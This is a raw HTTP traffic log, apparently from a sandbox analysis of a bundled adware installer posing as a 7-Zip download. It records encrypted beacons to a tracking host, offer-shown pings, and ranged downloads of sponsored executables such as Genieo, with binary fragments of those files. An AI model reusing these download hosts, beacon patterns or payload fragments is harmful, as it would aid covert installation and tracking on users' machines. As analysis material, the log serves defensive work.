0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:23:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /app/ping.ashx?e=hWfaA75NtHGPJF3ETU mD6jJfooaJy9 2 GHzvfAHPCRoZJTpqsyZ quxda/Dun3gZSk9cPk8/R8KuS8XHvpt/Yt/3GkHgPshjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGfrtigeMM3Q3bVRi96wtSGgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cxBhI0CcjVEUbF083kWzhhCoVA3T5jtLGrz6uhnvM Kk= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:15 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:15 GMT..Content-Length: 0......


GET /app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h7pFNSnDjI8TYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:16 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:16 GMT..Content-Length: 0......


GET /app/ping.ashx?e=hNMAVKhukrwLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h5nHKdBv6DzBM0FiFjdakeNfk2ju1uana5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaQiBE4y6i2IRb Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGWRnxSIOITYlSnkSnlVgA Q== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:16 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:16 GMT..Content-Length: 0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=219831-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 366383
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 219831-586213/586214
Age: 1568
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CF74gkee7i5rZyJ0lHn31woN3MdUud1mvl5Kk7gpRB471tXkMvQLcQ==
......z..2.D.9,H...9......s....c...Pd'...~|.D.....<ZM....I...7.V.R.
.*.....2..?...q..t...U..i..*....[".c.....:C........6D.q..^.N.6\.^#.JzS
...9{..$.........>.....aC.....(....OP_nFF-Hq..\......*..o.f.-....m.
.....0...s..zB[.. ....o~.\..E..*.\.>......%..&.k>#.^k..yl...;.t=
.9D.t9.X..h.n..K.g5......P.r..C.d..O....t........b..P...E.sp!j....<
....7.......c....-..&.h.t)}....I....#X.?.. ...X#uCw.D...i.~_...I..y...
.q..;.%...S.nnf..^..y.lG..B.....3.....G..u#I..z........ ......T..t....
.....x}M..w.....B..9fX...&v..%..k...#..=2?A..Sd[K-.p.I....Z...lk.....:
.U.b..c.H_.......=..Z:.5..(.W<8.i%....m..._..-.q......k..q]d>%u7
gTl....p.0.TBI.~.1.-.L_.).84..:K.6E..:..J.v....]3..~k...,..>T.:>
...}..P..L.7..n..VE";....W.8...kd3...b{U.../..7s4..x..n..Ci...Zj.".A..
._.C..Zr.jg......8...n...2....m...V.|.1{x..^.M^Z...k....%.V..J/.E9."IR
..T.......B........?(.>F..lys......Y....pm-.2.....\g]:.....4..}jU..
./.....U(..a........_Y..0.=0...qzU.1.....\@.H.......?.2...]?.K=....o~o
.7..i.7q....Q..T.~.........z.vm!t..C.{.....(. lLV.....5....s...k..741.
,?..8....1.`c5....{.]p......!S..9.hYB44..j..........'~.,1.X..N.1.4.3)/
I..bJ.$.=t...._p.-.N...k.......W.fH.;...*..<.8.....=]....Ak*..u.L..
.gg([email protected]....,Wi...0|V....(.6.4O`. ..S..;[email protected]
.=.V.....Br7P<h.q...v..^.]aP......y........!.:...8-...7r.G.xsjI_C.G
:.s......,.o~.ujrq4..7..R$j...XfY9m..]Z...!.0..qRB.oN~....w........oBh
..9^9."5k....o.<9.\r.H....N........h...=....K7...h....PN...z.QX..Qs
.<....d.%,.p<.......#z/.d,.X.1.q. ..Q=]k._.-........y26. 0..
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2e09881611fb8c0f HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT
If-None-Match: "804047d4e66d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT
ETag: "804047d4e66d01:0"
Cache-Control: max-age=86400
Date: Thu, 30 Apr 2015 09:24:18 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Thu, 30 Apr 2015 09:24:18 GMT..Conn
ection: keep-alive......


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?91d4d4c01591c64a HTTP/1.1


Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT
If-None-Match: "80b4d90ca4fd01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT
ETag: "80b4d90ca4fd01:0"
Cache-Control: max-age=604800
Date: Thu, 30 Apr 2015 09:24:21 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Thu, 30 Apr 2015 09:24:21 GMT..Con
nection: keep-alive..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache



.y......6....^>L_...xW......,...t.....c..Q.].Y..%.......IH...CP.9..
S..C.~.0eqF..TG.4&.W.%...S..B.qXL..0.......Wfa..&.a{.C....P... ...7.\.
uK...z%.| [email protected]?L1 .....F..;.W&....PK.
8.z..$..o...{6..!X..j;;..<..[...1/Zp.F..._.8.>....TX...Gv....4..
.%wv...8t.%.. r&.....6.I].. wm.|Dn.].S.....Z,x"...!(..(.{.b....S....(J
.qv;=...w}m,...T].........%..=.;6......}.h.~2j.X.g..b.K..u..&.....3...
sM...P.,}...Le.t..2u.>.m.;...J..~h..&.yn.}._."~x|..Dqo.......b...B.
..&}.^=".>Q.|.yr.. z.p..!W.....a1.O.8.y...D.>U..........c...F...
].u..e.^\....~m.a.?O.......r..S...... .i..twYt.j.......D.HM.S$b...q...
nd....y.........T.4...Q.!$vu..I..7)t..r(...c....n..:.3;.T..c..........
".3 ......&_..^.-q.......\.....".... |>........0Q.~...(....u.#.,.#Z
*......I...7-k..].....5....?P$u..Z3y.~..........2.V...R.,B.[8.9.a.,.&r
.U.....9.......=..5t.......}*...!.1..]^..Q...5..].H..M..g*....%...ab..
b.kh.s.....E.E..D..........K...8..J.y.S@...*....... 3.V.=.h...!T...RK.
3j...qr.Bz..'.C...Q...3. U.M.U........Km..._&.0.O.........z.....}.x./{
]. M.Rl.Hg.Y.......].1.]Y.....*.J...l.5....i.....g9.i...YsG:Kc_.x.t.`.
...c$..?....u]4..D."$..d-..t0.4;W.....F..U,.`...9.B"_..... .........N.
...5.Q...c7...<.F...S..[<.N......q].._..M....\..|.J..._.....g[..
0m....../.....D....h..."....."Z.~.H%..s,...../Z9...B.k..3...6b.......I
-ju...p=....}E].Y..hN..~..>.......=.........S:.&.'...:>5...{...6
M;|...NW..../*..KT$s_-.........v.L....E$"[email protected]_#... !...3....{..fZ...
.Ph*..:....Yj....*_zw.g...a.....29j.te...u.%Br...K...&....l..0&.8.
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.8669246227254628 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:51 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:51 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=1125538-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160791
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 19 Apr 2015 22:08:38 GMT
Content-Range: bytes 1125538-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jCRogxs8f6jz4-MOBq4pyE9NNJX4-XYj4Zp7mhA5XmhkNlOdARFVIg==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W.....FF.x...x..........6a)..X...V"....Vv..3...K'o.&
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: xJcjIUFc4eW8rVQhCcfzoNpGeGQyj1R1mQNPJMr1x/B EV4V/aW2vIfXQGKEERMUzI2OBlcQqvw=
x-amz-request-id: 86CDDEFFF32603EB
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-988407/988408
Content-Type: application/octet-stream
Content-Length: 741306
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~
<<< skipped >>>


GET /pki/mscorp/msintcrca.crt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: VVV.microsoft.com


HTTP/1.1 200 OK
Content-Length: 1460
Content-Type: application/x-x509-ca-cert
Last-Modified: Thu, 05 Apr 2012 22:54:51 GMT
Accept-Ranges: bytes
ETag: "8f34f51b7f13cd1:0"
Server: Microsoft-IIS/8.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
VTag: 438305627800000000
X-Powered-By: ASP.NET
X-Powered-By: ARR/2.5
X-Powered-By: ASP.NET
Cache-Control: max-age=475
Date: Thu, 30 Apr 2015 09:24:21 GMT
Connection: keep-alive
X-CCC: SE
X-CID: 2
0...0..................J..m5.p.0...*.H........0,1*0(..U...!Microsoft I
nternal Corporate Root0...120405215454Z..370405220105Z0,1*0(..U...!Mic
rosoft Internal Corporate Root0.."0...*.H.............0..........We...
....#.............y....<d]U2>L..J..p ..j.......[.Fk..>...C...
..wQ...n.4.C["....q.>.s..v.....Du.}W-............~....k........Vl..
v).....O..:........X.2P%..A.S.<w.a.6j|.K.N..>...;....$.%.....H..
.. ....M...u.Y.<])O..YFF-).....$Yp)/...I..G.p...-.......m....Ca...H
OJ.aP..%...S..p.h....{^. ..,R..<2xV.".tm.Q.9...:.{.'w.0&{.).k..W.~y
M'm....2..(....."&...Y>.......a...."3..._..;.g....e`$4..OJh....._q.
..h9P....Y!g.uc{.....-c.s...>xw.....H..|....!.N.Nhs....}R.h......e.
|T......FO.B2..\~v>....i.8..J...9.ua.6_..............0..0...U......
..0...U.......0....0...U.........d......T.....xKza0... .....7.......0y
..U. .r0p0n..U. .0f0d.. .......0X.V.h.t.t.p.:././.w.w.w...m.i.c.r.o.s.
o.f.t...c.o.m./.p.k.i./.m.s.c.o.r.p./.c.p.s...h.t.m0...*.H............
.4..z*..~.>...o9...EW...%s..v...wY3./xQ./.)VT...,.Lg......(...{u_.s
..a.....F,.:.#..#b.q.......0...?i..\.P4.9E..\..F.~..:....N.^D...&n....
.#q.cw.(...w........&Q..d...H..".U1M~.......G]....K..P.(.N.;M...N.6.ab
.so...=A*[email protected].)
rt...,......E.....UT`.0D.....\...11aA......J...z.....b9(..(B)p!. ..{q.
'......aX....B.j.9.A..\y7...:\..b.:[email protected]>.%...%..........6.$
..A......M.1.m........ ...q.2_E..Emh'T}/.. 2..(.....~ .. 8.t./....7...
.e..mY...~f.....1.h..... ......
<<< skipped >>>


GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=366385-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 219829
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 366385-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: JswjT236EsL5_BHSaKFZMJpaVv8womP2G1UZi_yLmsl1XYNbAmvfdA==
k..........<M.x.]YT./H.g..D.-R....=.kk...\.{r.L......s.....;D....S.
k.A|]s..o..8...[...<.M...wU..`....U. *. ........QC. ...L...0I..d)..
.,r....o<F......s7m..Q...[B.rS.^.../8.QC[..\nO..f.})...|......1..4.
>..cS.o.%...f..~..~......%.... B,...R.-1.....A.i...U....Yue.).n..:4
.=.....~....t..(B.,...*V.PD...0F....5.00.7/.....h.I....q#l..c..h.[%.F?
MB.M..(.ov......I6.T$.b........&9..[.|.W...#......}q1O.}.nAz.s\...xn.b
....N.....m~...r....p........>.........sm...V..Y.K9y....1....*W.c..
..}.9M......(.*....6...u..D.7..q......c....v...8..j.&...:5.....Gw .E0.
[email protected][-..X..G.J."*.......H..l.....[f...
.\...U.<.Q.;..g9>zR.4.._..........T......C...W.D..K... L..T.1.&l
t;.(%....X|.P!........7.d.Rv.2......H....{~.'...FU..i?.KKI]q...Y...Y.b
....hxt..8...........gin........'..j.....B...._..#.....B.u..4....q$;..
c45.Q.Oz..3]|...}......w...0&..R.G....|....*..j....i.0.....\....u.....
VVc..`..6...4<.n8.9Z..{.R.1?Jw.....:.A.. j........eV.&|-I."4.. ...T
._.!...=.R..Z.u.sj.N.u.......2.C.....bOn<....|....ON.5.#..h..%">
[email protected]$..t"..c..F..v[4..9DF.....P.#.....:z ...L...,...f.G..H...
.%..e..!#.3)...L-X..^.....S...Q..L...|...>.]..........s.zQe!g....6.
.W...d...w?..:...6?;.|tQ..v.....Kw..n#ZyJ..HUH. 8I.w..m..c..g...l).M.R
=r.........D...CH.R.....Z..k5..=..z590.v....7.%..\.H(WK.&.?~....%K.b.&
gt;.F.....K.|.:a.Q....(Fp.R.....>..K}......o7N.[........?|;VQ....l.
?.$..7....c......w$........]\[email protected].:.....ZL.....h.
&...bi..Z/.M}Gp..<..`&)....6$...V....>#..4..VO][email protected]..=
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: EpAFvI9-CZSVHTHMm0Z0CPs_qvvv_I2xB605WwiHp0rRaA3oG8ZNWg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 416427
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..
<<< skipped >>>


GET /software_files/7_zip/7zip_32.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: download.filesfrog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:04 GMT
Content-Type: image/png
Content-Length: 145
Last-Modified: Mon, 10 Jun 2013 04:13:32 GMT
Connection: close
ETag: "51b5526c-91"
Accept-Ranges: bytes
.PNG........IHDR... ... .....I.......PLTE......U..~...FIDATx^[email protected].
....E..N......Y$.....0.R............=.........H.L........=D.Xg.....IEN
D.B`...



GET /__utm.gif?utmwv=5.6.4&utms=5&utmn=1450929333&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Installer_Init&utmht=1430385906360&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
